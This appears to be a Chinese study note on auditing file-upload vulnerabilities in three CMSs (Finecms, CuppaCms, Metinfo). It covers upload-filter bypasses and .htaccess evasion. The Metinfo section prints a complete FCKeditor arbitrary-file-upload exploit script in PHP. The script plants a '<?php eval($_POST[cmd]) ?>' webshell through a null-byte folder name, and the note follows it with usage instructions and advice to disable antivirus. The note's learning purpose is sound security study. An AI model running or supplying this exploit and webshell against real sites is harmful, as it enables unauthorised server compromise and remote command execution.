Web学习34

  1. 知识点
  2. 案例
    1. 白盒审计-Finecms-代码常规-处理逻辑
    2. 白盒审计-CuppaCms-中间件-.htaccess
    3. 白盒审计-Metinfo-编辑器引用-第三方安全
  3. 思维导图

知识点

1、白盒审计三要素
2、黑盒审计四要素
3、白黑测试流程思路

详细点:
1、检测层面:前端、后端等
2、检测内容:文件头,完整性,二次渲染等
3、检测后缀:黑名单,白名单,MIME检测等
4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等

本章课程内容:
1、文件上传-CTF赛题知识点
2、文件上传-中间件解析&编辑器安全
3、文件上传-实例CMS文件上传安全分析

黑盒:寻找一切存在文件上传的功能应用
1、个人用户中心是否存在文件上传功能
2、后台管理系统是否存在文件上传功能
3、字典目录扫描探针文件上传构造地址
4、字典目录扫描探针编辑器目录构造地址

白盒:看三点,中间件,编辑器,功能代码
1、中间件直接看语言环境常见搭配
2、编辑器直接看目录机构或搜索关键字
3、功能代码直接看源码应用或搜索关键字

案例

白盒审计-Finecms-代码常规-处理逻辑
白盒审计-CuppaCms-中间件-.htaccess
白盒审计-Metinfo-编辑器引用-第三方安全

白盒审计-Finecms-代码常规-处理逻辑

黑盒思路:寻找上传点抓包修改突破获取状态码及地址
审计流程:功能点-代码文件-代码块-抓包调试-验证测试
filename 没看到
type image/png
上传数据 base编码

将<?php phpinfo();?>经过base64编码后插入图片中

成功插入到图片中,说明写后门代码是没有问题的

filecms 黑盒测试
路径有问题 所以这个cms黑盒测试基本没有什么办法

你没有办法知道这个图片的名字被改成了0x0了,所以路径在黑盒的条件下是没有办法找到路径的。

上传文件的源码

白盒审计-CuppaCms-中间件-.htaccess

黑盒思路:存在文件管理上传改名突破,访问后再突破
审计流程:功能点-代码文件-代码块-抓包调试-验证测试


jpg和png都可以上传成功,但是php文件被过滤了,不可以进行上传


Filetype not allowed 不能传php文件,会被过滤,作为黑盒测试只能一个一个再去尝试,比如php5之类的后缀能不能上传

.user.ini也被过滤了,不能上传。

直接把to的文件变成php文件

虽然变成了php文件,但是却没有权限去访问

这个.htaccess的声明文件,说明了带有这些关键字的文件都要给予权限拒绝,无法访问,脚本文件的执行权限没有被给予。

如何解决没有权限访问的问题呢?
①可以在别的目录下生成后门文件。
②直接把.htaccess文件删掉就行

但是在别的目录下,还是在media这个总的目录下面,还是会受到.htaccess的控制

把文件放到file这个文件夹下面,这个文件夹是独立于media的文件夹,所以就不受到.htaccess的约束

为什么不能修改后缀,是html代码控制的,而不是php代码控制的

看源码可以知道,他默认只接受你的文件名,后缀是通过js代码再拼接上去的,但是这个限制呢仅仅是在页面上给予的限制,只要抓个包然后再修改就可以了

白盒审计-Metinfo-编辑器引用-第三方安全

黑盒思路:探针目录利用编辑器漏洞验证测试
审计流程:目录结构-引用编辑器-编辑器安全查询-EXP利用验证

通过访问特定路径查看这个编辑器的版本地址,然后再去搜2.6.3的exp,复制一下直接就可以打穿了

EXP源码
<?php
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
define(STDIN, fopen("php://stdin", "r"));
$match = array();
function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
print $resp;
return $resp;
}
function connector_response($html)
{
global $match;
return (preg_match("/OnUploadCompleted\((\d),\"(.*)\"\)/", $html, $match) && in_array($match[1], array(0, 201)));
}
print "\n+------------------------------------------------------------------+";
print "\n| FCKEditor Servelet Arbitrary File Upload Exploit |";
print "\n+------------------------------------------------------------------+\n";
if ($argc < 3)
{
print "\nUsage......: php $argv[0] host path\n";
print "\nExample....: php $argv[0] localhost /\n";
print "\nExample....: php $argv[0] localhost /FCKEditor/\n";
die();
}
$host = $argv[1];
$path = ereg_replace("(/){2,}", "/", $argv[2]);
$filename = "fvck.gif";
$foldername = "fuck.php%00.gif";
$connector = "editor/filemanager/connectors/php/connector.php";
$payload = "-----------------------------265001916915724\r\n";
$payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n";
$payload .= "Content-Type: image/jpeg\r\n\r\n";
$payload .= 'GIF89a'."\r\n".'<?php eval($_POST[cmd]) ?>'."\n";//放木马的地方
$payload .= "-----------------------------265001916915724--\r\n";
$packet = "POST {$path}{$connector}?Command=FileUpload&Type=Image&CurrentFolder=".$foldername." HTTP/1.0\r\n";//print $packet;
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=---------------------------265001916915724\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;
print $packet;
if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n");
else print "\n[-] Job done! try http://${host}/$match[2] \n";
?>

使用方法:

php fck.php localhost:xxxx(地址) /metinfo3/fckeditor/(路径)

记得把杀毒软件都关掉,不然运行的时候文件会被删掉

思维导图